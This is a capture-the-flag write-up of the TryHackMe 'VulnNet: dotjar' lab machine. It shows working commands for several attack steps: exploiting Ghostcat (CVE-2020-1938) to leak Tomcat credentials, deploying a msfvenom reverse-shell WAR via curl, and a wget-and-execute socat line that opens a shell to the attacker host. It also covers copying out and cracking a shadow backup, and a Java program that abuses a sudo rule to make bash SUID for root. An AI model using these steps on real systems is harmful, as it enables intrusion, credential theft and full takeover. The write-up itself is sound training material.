siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

VulnNet: dotjar | Jan 23, 2023

Introduction

Welcome to my another writeup! In this TryHackMe VulnNet: dotjar room, you’ll learn: Exploiting Apache Tomcat and Apache JServ Protocol, writing a Java programme to escalate privilege, Docker breakout and more! Without further ado, let’s dive in.

Table of Content

  1. Service Enumeration
  2. Initial Foothold
  3. Privilege Escalation: web to jdk-admin
  4. Privilege Escalation: jdk-admin to root
  5. Conclusion

Background

VulnNet Entertainment never gives up… are you ready?

Difficulty: Medium


VulnNet Entertainment works with the best and this is why they choose you again to perform a penetration test of their newly deployed service. Get ready!

A new machine means a new web implementation. Foothold should be rather easy-going as long as you connect the dots. Privilege escalation might depend on your Java knowledge, don’t worry though, I’m rather a person who avoids Java and I still had a lot of fun working on this machine.

Service Enumeration

As usual, scan the machine for open ports via rustscan!

Rustscan:

┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|13:37:51(HKT)]
└> export RHOSTS=10.10.203.203
┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|13:37:54(HKT)]
└> rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt
[...]
PORT     STATE SERVICE REASON         VERSION
8009/tcp open  ajp13   syn-ack ttl 63 Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http    syn-ack ttl 63 Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

According to rustscan result, we have 2 ports are opened:

Open Port Service
8009 Apache Jserv (Protocol v1.3)
8080 Apache Tomcat 9.0.30

Apache JServ Protocol (AJP) on Port 8009

AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.

According to HackTricks, If the AJP port is exposed, Tomcat might be susceptible to the Ghostcat vulnerability.

Ghostcat is a LFI vulnerability, but somewhat restricted: only files from a certain path can be pulled. Still, this can include files like WEB-INF/web.xml which can leak important information like credentials for the Tomcat interface, depending on the server setup.

Patched versions at or above 9.0.31, 8.5.51, and 7.0.100 have fixed this issue.

We can use searchsploit to search that exploit:

┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|13:46:23(HKT)]
└> searchsploit apache tomcat      
--------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- ---------------------------------
[...]
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion                    | multiple/webapps/48143.py
Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Metasploit)      | multiple/webapps/49039.rb
[...]

Let’s mirror that Python exploit:

┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|13:46:26(HKT)]
└> searchsploit -m 48143     
  Exploit: Apache Tomcat - AJP 'Ghostcat File Read/Inclusion
      URL: https://www.exploit-db.com/exploits/48143
     Path: /usr/share/exploitdb/exploits/multiple/webapps/48143.py
    Codes: CVE-2020-1938
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /root/ctf/thm/ctf/VulnNet-dotjar/48143.py

After getting a better understanding of the exploit script, we can run it:

┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|13:50:03(HKT)]
└> python2 48143.py $RHOSTS
Getting resource at ajp13://10.10.203.203:8009/asdf
----------------------------
[...]
  <display-name>VulnNet Entertainment</display-name>
  <description>
     VulnNet Dev Regulations - mandatory
 
1. Every VulnNet Entertainment dev is obligated to follow the rules described herein according to the contract you signed.
2. Every web application you develop and its source code stays here and is not subject to unauthorized self-publication.
-- Your work will be reviewed by our web experts and depending on the results and the company needs a process of implementation might start.
-- Your project scope is written in the contract.
3. Developer access is granted with the credentials provided below:
 
    webdev:{Redacted}
 
GUI access is disabled for security reasons.
 
4. All further instructions are delivered to your business mail address.
5. If you have any additional questions contact our staff help branch.
  </description>
[...]

The default file to fetch is WEB-INF/web.xml, which can leak important information like credentials for the Tomcat interface.

We indeed found a credentials:

[...]
3. Developer access is granted with the credentials provided below:
 
    webdev:{Redacted}
 
GUI access is disabled for security reasons.
[...]

HTTP on Port 8080

Adding a new host to /etc/hosts:

┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|13:40:45(HKT)]
└> echo "$RHOSTS vulnnet-dotjar.thm" >> /etc/hosts

Home page:

An Apache Tomcat home page, and it’s version is 9.0.30.

Now, since we have a credentials, we can try to login to the “Manager App”:

As expected, it needs HTTP basic authentication.

Let’s type the credentials that we’ve found:

It’s correct, but the webdev account doesn’t have access to the manager app.

How about the “Host Manager”?

It worked!!

However, nothing we can do… As we can’t deploy a .war file to execute code.

Initial Foothold

Let’s take a step back.

In the Ghostcat LFI exploit, we found webdev credentials, and it says:

“GUI access is disabled for security reasons.”

Which means we couldn’t access to the manager app.

After fumbling around, I found that although we don’t have access to the GUI one, we can still deploy a .war file to the manager app via curl!

According to HackTricks, we can do this via:

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Let’s do that!

┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|14:41:07(HKT)]
└> msfvenom -p java/jsp_shell_reverse_tcp LHOST=tun0 LPORT=443 -f war -o revshell.war
┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|14:41:43(HKT)]
└> curl --upload-file revshell.war -u 'webdev:{Redacted}' 'http://vulnnet-dotjar.thm:8080/manager/text/deploy?path=/revshell'
OK - Deployed application at context path [/revshell]
┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|14:42:54(HKT)]
└> nc -lnvp 443          
listening on [any] 443 ...
┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|14:46:36(HKT)]
└> unzip revshell.war 
Archive:  revshell.war
   creating: META-INF/
  inflating: META-INF/MANIFEST.MF    
   creating: WEB-INF/
  inflating: WEB-INF/web.xml         
  inflating: wrienossjrk.jsp
┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|14:48:36(HKT)]
└> curl http://vulnnet-dotjar.thm:8080/revshell/wrienossjrk.jsp
┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|14:48:20(HKT)]
└> nc -lnvp 443
listening on [any] 443 ...
connect to [10.9.0.253] from (UNKNOWN) [10.10.203.203] 33058
whoami;hostname;id;ip a
web
vulnnet-dotjar
uid=1001(web) gid=1001(web) groups=1001(web)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:c1:df:0d:d2:ad brd ff:ff:ff:ff:ff:ff
    inet 10.10.203.203/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 2901sec preferred_lft 2901sec
    inet6 fe80::c1:dfff:fe0d:d2ad/64 scope link 
       valid_lft forever preferred_lft forever

I’m user web!

Stable shell via socat:

┌[root♥siunam]-(/opt/static-binaries/binaries/linux/x86_64)-[2023.01.23|14:50:01(HKT)]-[git://master ✗]
└> python3 -m http.server 80                          
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|14:48:44(HKT)]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:4444
2023/01/23 14:50:29 socat[51373] N opening character device "/dev/pts/2" for reading and writing
2023/01/23 14:50:29 socat[51373] N listening on AF=2 0.0.0.0:4444
wget http://10.9.0.253/socat -O /tmp/socat;chmod +x /tmp/socat;/tmp/socat TCP:10.9.0.253:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|14:48:44(HKT)]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:4444
2023/01/23 14:50:29 socat[51373] N opening character device "/dev/pts/2" for reading and writing
2023/01/23 14:50:29 socat[51373] N listening on AF=2 0.0.0.0:4444
                                                                 2023/01/23 14:50:39 socat[51373] N accepting connection from AF=2 10.10.203.203:57598 on AF=2 10.9.0.253:4444
                                                                   2023/01/23 14:50:39 socat[51373] N starting data transfer loop with FDs [5,5] and [7,7]
                                               web@vulnnet-dotjar:/$ 
web@vulnnet-dotjar:/$ export TERM=xterm-256color
web@vulnnet-dotjar:/$ stty rows 22 columns 107
web@vulnnet-dotjar:/$ ^C
web@vulnnet-dotjar:/$ 

Privilege Escalation

web to jdk-admin

Let’s do some basic enumerations!

System users:

web@vulnnet-dotjar:/$ cat /etc/passwd | grep '/bin/bash'
root:x:0:0:root:/root:/bin/bash
jdk-admin:x:1000:1000:jdk-admin,,,:/home/jdk-admin:/bin/bash
web:x:1001:1001:,,,:/home/web:/bin/bash

web@vulnnet-dotjar:/$ ls -lah /home
total 16K
drwxr-xr-x  4 root      root      4.0K Jan 15  2021 .
drwxr-xr-x 23 root      root      4.0K Jan 15  2021 ..
drwxr-x--- 17 jdk-admin jdk-admin 4.0K Jan 31  2021 jdk-admin
drwxr-xr-x  4 web       web       4.0K Jan 16  2021 web

Listening ports:

web@vulnnet-dotjar:/$ ss -tunlp
NetidState  Recv-Q  Send-Q         Local Address:Port    Peer Address:Port                                 
udp  UNCONN 0       0                    0.0.0.0:5353         0.0.0.0:*                                    
udp  UNCONN 0       0                    0.0.0.0:49400        0.0.0.0:*                                    
udp  UNCONN 0       0              127.0.0.53%lo:53           0.0.0.0:*                                    
udp  UNCONN 0       0         10.10.203.203%eth0:68           0.0.0.0:*                                    
udp  UNCONN 0       0                       [::]:5353            [::]:*                                    
udp  UNCONN 0       0                       [::]:38227           [::]:*                                    
tcp  LISTEN 0       128            127.0.0.53%lo:53           0.0.0.0:*                                    
tcp  LISTEN 0       1         [::ffff:127.0.0.1]:8005               *:*     users:(("java",pid=408,fd=85)) 
tcp  LISTEN 0       100                        *:8009               *:*     users:(("java",pid=408,fd=69)) 
tcp  LISTEN 0       100                        *:8080               *:*     users:(("java",pid=408,fd=63))

/etc/shadow backup in /var/backup:

web@vulnnet-dotjar:/$ ls -lah /var/backups/
total 2.6M
drwxr-xr-x  2 root root   4.0K Jan 23 08:13 .
drwxr-xr-x 13 root root   4.0K Jan 15  2021 ..
[...]
-rw-------  1 root root    857 Jan 15  2021 group.bak
-rw-------  1 root shadow  711 Jan 15  2021 gshadow.bak
-rw-------  1 root root   1.8K Jan 15  2021 passwd.bak
-rw-r--r--  1 root root    485 Jan 16  2021 shadow-backup-alt.gz
-rw-------  1 root shadow 1.2K Jan 16  2021 shadow.bak

Let’s transfer the shadow-backup-alt.gz to our attacker machine!

web@vulnnet-dotjar:/$ cd /var/backups/
web@vulnnet-dotjar:/var/backups$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|15:16:31(HKT)]
└> wget http://$RHOSTS:8000/shadow-backup-alt.gz

Then use gunzip to decompress the gz file:

┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|15:16:41(HKT)]
└> gunzip shadow-backup-alt.gz
┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|15:17:34(HKT)]
└> cat shadow-backup-alt                        
root:$6$F{Redacted}:18643:0:99999:7:::
[...]
jdk-admin:$6$P{Redacted}:18643:0:99999:7:::
web:$6$hmf.N2Bt$F{Redacted}:18643:0:99999:7:::

It’s a /etc/shadow file!

Let’s crack those password hashes:

┌[root♥siunam]-(~/ctf/thm/ctf/VulnNet-dotjar)-[2023.01.23|15:17:36(HKT)]
└> john --wordlist=/usr/share/wordlists/rockyou.txt shadow-backup-alt
[...]
{Redacted}        (jdk-admin)

Cracked user jdk-admin password!

Let’s Switch User to jdk-admin:

web@vulnnet-dotjar:/var/backups$ su jdk-admin
Password: 
jdk-admin@vulnnet-dotjar:/var/backups$ whoami;hostname;id;ip a
jdk-admin
vulnnet-dotjar
uid=1000(jdk-admin) gid=1000(jdk-admin) groups=1000(jdk-admin),24(cdrom)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:1a:e0:76:d2:87 brd ff:ff:ff:ff:ff:ff
    inet 10.10.203.203/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 3354sec preferred_lft 3354sec
    inet6 fe80::1a:e0ff:fe76:d287/64 scope link 
       valid_lft forever preferred_lft forever
jdk-admin@vulnnet-dotjar:/var/backups$ 

I’m user jdk-admin!

user.txt:

jdk-admin@vulnnet-dotjar:/var/backups$ cat /home/jdk-admin/user.txt 
THM{Redacted}

jdk-admin to root

Sudo permission:

jdk-admin@vulnnet-dotjar:/var/backups$ sudo -l
[...]
Password: 
Matching Defaults entries for jdk-admin on vulnnet-dotjar:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jdk-admin may run the following commands on vulnnet-dotjar:
    (root) /usr/bin/java -jar *.jar

As you can see, user jdk-admin can run /usr/bin/java -jar *.jar as root!

Now, since it enables us to execute any .jar file, we can create our own evil .jar file!! (From this blog)

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class Main {
    public static void main(String[] args) {
        try {
            Process process = Runtime.getRuntime().exec("chmod +s /bin/bash");

            StringBuilder output = new StringBuilder();

            BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()));

            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line + "\n");
            }

            int exitVal = process.waitFor();
            if (exitVal == 0) {
                System.out.println("Success!");
                System.out.println(output);
                System.exit(0);
            } else {
                //abnormal...
            }

        } catch (IOException e) {
            e.printStackTrace();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

This Java code will add a SUID sticky bit to /bin/bash, which allows us to spawn a root Bash shell.

jdk-admin@vulnnet-dotjar:/var/backups$ cd /tmp
jdk-admin@vulnnet-dotjar:/tmp$ nano Main.java
jdk-admin@vulnnet-dotjar:/tmp$ javac Main.java
jdk-admin@vulnnet-dotjar:/tmp$ ls -lah
[...]
-rw-rw-r--  1 jdk-admin jdk-admin 1.4K Jan 23 08:50 Main.class
jdk-admin@vulnnet-dotjar:/tmp$ jar cfe Main.jar Main Main.class
jdk-admin@vulnnet-dotjar:/tmp$ sudo /usr/bin/java -jar Main.jar 
Success!

jdk-admin@vulnnet-dotjar:/tmp$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1.1M Apr  4  2018 /bin/bash

It worked! Let’s spawn a root Bash shell!

jdk-admin@vulnnet-dotjar:/tmp$ /bin/bash -p
bash-4.4# whoami;hostname;id;ip a
root
vulnnet-dotjar
uid=1000(jdk-admin) gid=1000(jdk-admin) euid=0(root) egid=0(root) groups=0(root),24(cdrom),1000(jdk-admin)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:1a:e0:76:d2:87 brd ff:ff:ff:ff:ff:ff
    inet 10.10.203.203/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 1871sec preferred_lft 1871sec
    inet6 fe80::1a:e0ff:fe76:d287/64 scope link 
       valid_lft forever preferred_lft forever

I’m root! :D

Rooted

root.txt:

bash-4.4# cat /root/root.txt
THM{Redacted}

Conclusion

What we’ve learned:

  1. Exploiting Apache JServ Protocol (ASP) Ghostcat Vulnerability
  2. Deploying .war Reverse Shell In Apache Tomcat Manager App Via curl
  3. Cracking /etc/shadow Password Hash
  4. Horizontal Privilege Escalation Via Misconfigurated Sudo Permission & Executing A Java Programme